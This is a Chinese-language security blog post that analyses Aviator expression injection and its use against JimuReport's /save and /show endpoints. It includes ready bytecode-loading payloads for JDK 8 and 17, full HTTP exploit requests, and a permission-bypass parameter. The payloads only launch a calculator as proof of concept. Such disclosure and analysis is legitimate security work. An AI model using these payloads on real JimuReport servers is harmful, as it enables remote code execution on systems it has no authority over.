百度360必应搜狗淘宝本站头条
当前位置:网站首页 > IT技术 > 正文

结合 Jimureport 的某个漏洞披露看 Aviator 表达式注入

wptr33 2025-01-21 21:57 39 浏览

JDK 高版本的 Aviator 表达式注入

Aviator 表达式注入代码示例见 JavaRce 项目 ,在之前 aviatorscript 的漏洞披露给出了了如下形式的 payload,利用 bcel 来加载字节码

Bash
'a'+(c=Class.forName(\"$BCEL$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f8$7e$c4$95$c0$c2$s$c6$j$c6$NjbR$c5$88a_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8cw$w$B$a2M$e6$de9$e7$9es$e6$a6_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$sB$n$cf$Z$b4J$b5$cd$a07$a2$g$c8y$o$e4$b7$e3Q$87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$f0$94$d4e_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$7e$d8s$5b2$Wa$af$5e$5d$a0$ee$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$c0$af$84z$d7$a2$f7$8e$95$c9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$94$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5$88$f2$ed$k$973P$ae$y$$3f$a5$eb8$84N$7fT$7d$Z0$b5$GU$8b$90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d_$B$96$e9$G$9a$d2$da$a4R$e6$934$M$b0$de$91$a9$bdB$7b$fe$e37$W$fc$Wr$c8S$_$d0$d1$89$v$d2$v$a5$fa$b5$l$d5$l$f2$9c$f6$B$A$A\",true,new com.sun.org.apache.bcel.internal.util.ClassLoader()) ) + ( c.exec(\"open -a Calculator.app\") );

提取出其中的 Class.forName() 调试一下代码

Bash
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
evaluator.execute("Class.forName('java.lang.String')");

通过 com.googlecode.aviator.RuntimeFunctionDelegator#getFunc() 动态调用 Aviator 中定义的方法

而换成全限定类名后,执行 getFunc() 方法会报错 Function not found: java.lang.Class.forName

AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
evaluator.execute("java.lang.Class.forName('java.lang.String')");

调试到 com.googlecode.aviator.utils.Env#resolveClassSymbol(java.lang.String, boolean) 方法,这个方法主要是用于将类名解析为对应的 Java 类对象。

这里的话有两个值得看的地方:

  1. 从这个代码的逻辑来看,如果包含 . 则直接调用 classForName(name) 方法来获取类对象,我们构造的是全限定类名,为什么传入的 name 是 java
  2. 第二个条件逻辑,因为不存在类名时会假设该类隶属于 java.lang 包下,可以解释为什么直接用 Class.forName() 可以执行。

第一个问题定位到 com.googlecode.aviator.runtime.type.AviatorJavaType#getProperty() 方法,因为包含 . 所以被分割为数组,然后在 com.googlecode.aviator.utils.Reflector#fastGetProperty() 方法遍历逐个解析

java.lang 包下的类有限,所以还需要寻求突破。我们看到还有俩逻辑,用于引入包、类。这个解答第二个问题的疑问。

// from imported packages
clazz = resolveFromImportedPackages(name);
if (clazz != null) {
  return checkIfClassIsAllowed(checkIfAllow, clazz);
}
// from imported classes
clazz = resolveFromImportedSymbols(name, clazz);
if (clazz != null) {
  return checkIfClassIsAllowed(checkIfAllow, clazz);
}

以包名为例,是读取的 this.importedPackages 对象,索性用的比较少,可以很轻易的跟到 com.googlecode.aviator.runtime.function.internal.UseFunction#addSym() 方法。

* 号给了很大的提示,然后就是翻官方文档了,找到引用 Java 类的语法 https://www.yuque.com/boyan-avfmj/aviatorscript/vk0ubs

use java.util.Date;

let d = new Date();

p(type(d));
p(d);

与通过 JavaMethodReflectionFunctionMissing 调用 Java 方法(基于反射)不同,使用 use 只能调用 public static 方法 ,对于 spring 框架可以用 org.springframework.cglib.core.ReflectUtils 来加载字节码,关于这个的利用可以看上一篇分析

Link: JDK 17+ FreeMarker SSTI:从 CVE-2023-4450 复现引出 MethodHandle 句柄、named module 机制研究

所以最终按其语法可得

JDK 8

use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('org.example.Exec', Base64Utils.decodeFromString('yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9FeGVjOwEADVN0YWNrTWFwVGFibGUHACUHACMBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAlFeGVjLmphdmEMAAwADQcAJwwAKAApAQAERXhlYwcAKgwAKwAsBwAtDAAuAC8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAwADEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQALc3RhdGljIEV4ZWMBABBvcmcvZXhhbXBsZS9FeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAIAAQAMAA0AAQAOAAAAdgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABoABgAAAAcABAAJAAwACgAVAAwAGAALABkADQAQAAAADAABAAAAGgARABIAAAATAAAAEAAC/wAYAAEHABQAAQcAFQAACAAWAA0AAQAOAAAAWwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAFgAFAAAAEQAIABIAEQAUABQAEwAVABUAEAAAAAIAAAATAAAABwACVAcAFQAAAQAXAAAAAgAY'), ClassLoader.getSystemClassLoader());

JDK17 ,Aviator 中 null 为 nil

use org.springframework.cglib.core.*;use org.springframework.util.*;use java.security.*;ReflectUtils.defineClass('org.springframework.expression.Test', Base64Utils.decodeFromString('yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACEBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAALAAwHACQMACUAJgEAC3N0YXRpYyBFeGVjBwAnDAAoACkHACoMACsALAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAC0ALgEAE2phdmEvbGFuZy9FeGNlcHRpb24BACNvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAABgAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABbAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAAWAAUAAAAJAAgACgARAAwAFAALABUADQAPAAAAAgAAABMAAAAHAAJUBwAUAAABABUAAAACABY='), ClassLoader.getSystemClassLoader(), nil, Class.forName('org.springframework.expression.ExpressionParser'));

Jimureport sink

漏洞位于 /save 和 /show 这两个接口,两个包间通过 excel_config_id 关联

函数名有点抽象就不慢慢截图了,两个接口对应函数

org.jeecg.modules.jmreport.desreport.service.a.e#saveReport()

org.jeecg.modules.jmreport.desreport.service.a.e#show()

在执行 /show 时,跟进到 org.jeecg.modules.jmreport.desreport.express.a#c() 函数,对于传入的格式有要求。声明了解析的字段为 text,并且内容得通过 =() 包含

至于 /jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI= 则是用于 jeeboot 的权限绕过

payload:

POST /jmreport/save HTTP/1.1
Host: localhost:8085
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Content-Type: application/json


{
    "loopBlockList": [],
    "area": false,
    "printElWidth": 718,
    "excel_config_id": "53c82a76f837d5661dceec7d93afep",
    "printElHeight": 1047,
    "rows": {
        "4": {
            "cells": {
                "4": {
                    "text": "=(use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('com.ppp.Exec', Base64Utils.decodeFromString('yv66vgAAADQANAoADAAaCQAbABwIAB0KAB4AHwoAIAAhCAAiCgAgACMHACQIACUIACYHACcHACgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEADkxjb20vcHBwL0V4ZWM7AQANU3RhY2tNYXBUYWJsZQcAJwcAJAEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACUV4ZWMuamF2YQwADQAOBwApDAAqACsBAARFeGVjBwAsDAAtAC4HAC8MADAAMQEABGNhbGMMADIAMwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAtzdGF0aWMgRXhlYwEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHABAAxjb20vcHBwL0V4ZWMBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAsADAAAAAAAAgABAA0ADgABAA8AAAB2AAIAAgAAABoqtwABsgACEgO2AAS4AAUSBrYAB1enAARMsQABAAQAFQAYAAgAAwAQAAAAGgAGAAAABwAEAAkADAAKABUADAAYAAsAGQANABEAAAAMAAEAAAAaABIAEwAAABQAAAAQAAL/ABgAAQcAFQABBwAWAAAIABcADgABAA8AAABbAAIAAQAAABayAAISCbYABLgABRIKtgAHV6cABEuxAAEAAAARABQACAADABAAAAAWAAUAAAARAAgAEgARABQAFAATABUAFQARAAAAAgAAABQAAAAHAAJUBwAWAAABABgAAAACABk='), ClassLoader.getSystemClassLoader());)",
                    "style": 0
                }
            },
            "height": 25
        },
        "len": 96,
        "-1": {
            "cells": {
                "-1": {
                    "text": "${gongsi.id}"
                }
            },
            "isDrag": true
        }
    },
    "dbexps": [],
    "toolPrintSizeObj": {
        "printType": "A4",
        "widthPx": 718,
        "heightPx": 1047
    },
    "dicts": [],
    "freeze": "A1",
    "dataRectWidth": 701,
    "background": false,
    "name": "sheet1",
    "autofilter": {},
    "styles": [
        {
            "align": "center"
        }
    ],
    "validations": [],
    "cols": {
        "4": {
            "width": 95
        },
        "len": 50
    },
    "merges": [
        "E4:F4",
        "B4:B5",
        "C4:C5",
        "D4:D5",
        "G4:G5",
        "H4:H5",
        "I4:I5",
        "D1:G1",
        "H3:I3"
    ]
}
POST /jmreport/show HTTP/1.1
Host: localhost:8085
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MTQ2Mjk0NjEsInVzZXJuYW1lIjoiYWRtaW4ifQ.--r2FRXzk7Nu2_Zrbcdn_0sN3c0zKhKeei2yewFTLx0
Accept: application/json, text/plain, */*
Content-Type: application/json


{
    "id": "53c82a76f837d5661dceec7d93afep"
}


jimureport 低版本为什么无法解析

用最新版的 1.7.8 可以复现,而用到 1.6.0 时发现调用的是 com.googlecode.aviator.runtime.function.TraceFunction#call(java.util.Map<java.lang.String,java.lang.Object>, com.googlecode.aviator.runtime.type.AviatorObject, com.googlecode.aviator.runtime.type.AviatorObject) 这个方法,并且在执行 com.googlecode.aviator.runtime.function.TraceFunction#traceArgs() 时报错。

回到 com.googlecode.aviator.ClassExpression#executeDirectly() 方法看看在调用 com.googlecode.aviator.ClassExpression#execute0 前发生了什么。

Avaitor 的底层也用的是 ASM 将表达式转换为可执行的字节码,这里没法步进调试无疑是上了一点难度。不过没关系,将依赖单独取出 payload 可用,直觉告诉我问题出在配置项,于是找了一下代码定位到 com.googlecode.aviator.Options#TRACE_EVAL 这个配置。关于 TRACE_EVAL 的 ASM 逻辑位于 com.googlecode.aviator.code.asm.ASMCodeGenerator#onMethodName

PS. 关于 ASM 的更多操作可以在 com.googlecode.aviator.AviatorEvaluatorInstance#innerCompile() 方法断点,之后可以跟到 com.googlecode.aviator.code.OptimizeCodeGenerator#callASM() 调用 ASM 的解析

验证猜想

先验证下猜想在 com.googlecode.aviator.code.asm.ASMCodeGenerator#onMethodName() 断点修改该配置 this.instance.getOptionValue(Options.TRACE_EVAL).bool = false

除此之外在 com.googlecode.aviator.runtime.type.AviatorJavaType#getValueFromEnv() 解析 Base64Utils.decodeFromString 方法时,RuntimeUtils.getInstance(env).getOptionValue(Options.ENABLE_PROPERTY_SYNTAX_SUGAR).bool 为 flase ,不进入 getProperty 逻辑,也断点修改一下。

构造这俩条件,弹出计算器,验证猜想

  1. TRACE_EVAL 为 false
  2. ENABLE_PROPERTY_SYNTAX_SUGAR 为 true

哪里的变动?

然后就是看哪里加的这个配置?com.googlecode.aviator.Options#isValidValue() 对 TRACE_EVAL 赋值为 true

最终问题出在 org.jeecg.modules.jmreport.desreport.express.ExpressUtil 的 static 方法块中,低版本中将该值设为 true

高版本为 false

相关推荐

SQL轻松入门(5):窗口函数(sql语录中加窗口函数的执行)

01前言标题中有2个字让我在初次接触窗口函数时,真真切切明白了何谓”高级”?说来也是一番辛酸史!话说,我见识了窗口函数的强大后,便磨拳擦掌的要试验一番,结果在查询中输入语句,返回的结果却是报错,Wh...

28个SQL常用的DeepSeek提示词指令,码住直接套用

自从DeepSeek出现后,极大地提升了大家平时的工作效率,特别是对于一些想从事数据行业的小白,只需要掌握DeepSeek的提问技巧,SQL相关的问题也不再是个门槛。...

从零开始学SQL进阶,数据分析师必备SQL取数技巧,建议收藏

上一节给大家讲到SQL取数的一些基本内容,包含SQL简单查询与高级查询,需要复习相关知识的同学可以跳转至上一节,本节给大家讲解SQL的进阶应用,在实际过程中用途比较多的子查询与窗口函数,下面一起学习。...

SQL_OVER语法(sql语句over什么含义)

OVER的定义OVER用于为行定义一个窗口,它对一组值进行操作,不需要使用GROUPBY子句对数据进行分组,能够在同一行中同时返回基础行的列和聚合列。...

SQL窗口函数知多少?(sql窗口怎么执行)

我们在日常工作中是否经常会遇到需要排名的情况,比如:每个部门按业绩来排名,每人按绩效排名,对部门销售业绩前N名的进行奖励等。面对这类需求,我们就需要使用sql的高级功能——窗口函数。...

如何学习并掌握 SQL 数据库基础:从零散查表到高效数据提取

无论是职场数据分析、产品运营,还是做副业项目,掌握SQL(StructuredQueryLanguage)意味着你能直接从数据库中提取、分析、整合数据,而不再依赖他人拉数,节省大量沟通成本,让你...

SQL窗口函数(sql窗口函数执行顺序)

背景在数据分析中,经常会遇到按某某条件来排名、并找出排名的前几名,用日常SQL的GROUPBY,ORDERBY来实现特别的麻烦,有时甚至实现不了,这个时候SQL窗口函数就能发挥巨大作用了,窗...

sqlserver删除重复数据只保留一条,使用ROW_NUMER()与Partition By

1.使用场景:公司的小程序需要实现一个功能:在原有小程序上,有一个优惠券活动表。存储着活动产品数据,但因为之前没有做约束,导致数据的不唯一,这会使打开产品详情页时,可能会出现随机显示任意活动问题。...

SQL面试经典问题(一)(sql经典面试题及答案)

以下是三个精心挑选的经典SQL面试问题及其详细解决方案,涵盖了数据分析、排序限制和数据清理等常见场景。这些问题旨在考察SQL的核心技能,适用于初学者到高级开发者的面试准备。每个问题均包含清晰的...

SQL:求连续N天的登陆人员之通用解答

前几天发了一个微头条:...

SQL四大排序函数神技(sql中的排序是什么语句)

在日常SQL开发中,排序操作无处不在。当大家需要排序时,是否只会想到ORDERBY?今天,我们就来揭秘SQL中四个强大却常被忽略的排序函数:ROW_NUMBER()、RANK()、DENSE_RAN...

四、mysql窗口函数之row_number()函数的使用

1、窗口函数之row_number()使用背景窗口函数中,排序函数rank(),dense_rank()虽说都是排序函数,但是各有用处,假如像上章节说的“同组同分”两条数据,我们不想“班级名次”出现“...

ROW_NUMBER()函数(rownumber函数与rank区别)

ROW_NUMBER()是SQL中的一个窗口函数(WindowFunction)...

Dify「模板转换」节点终极指南:动态文本生成进阶技巧(附代码)Jinja2引擎解析

这篇文章是关于Dify「模板转换」节点的终极指南,解析了基于Jinja2模板引擎的动态文本生成技巧,涵盖多源文本整合、知识检索结构化、动态API构建及个性化内容生成等六大应用场景,助力开发者高效利用模...

Python 最常用的语句、函数有哪些?

1.#coding=utf-8①代码中有中文字符,最好在代码前面加#coding=utf-8②pycharm不加可能不会报错,但是代码最终是会放到服务器上,放到服务器上的时候运行可能会报错。③...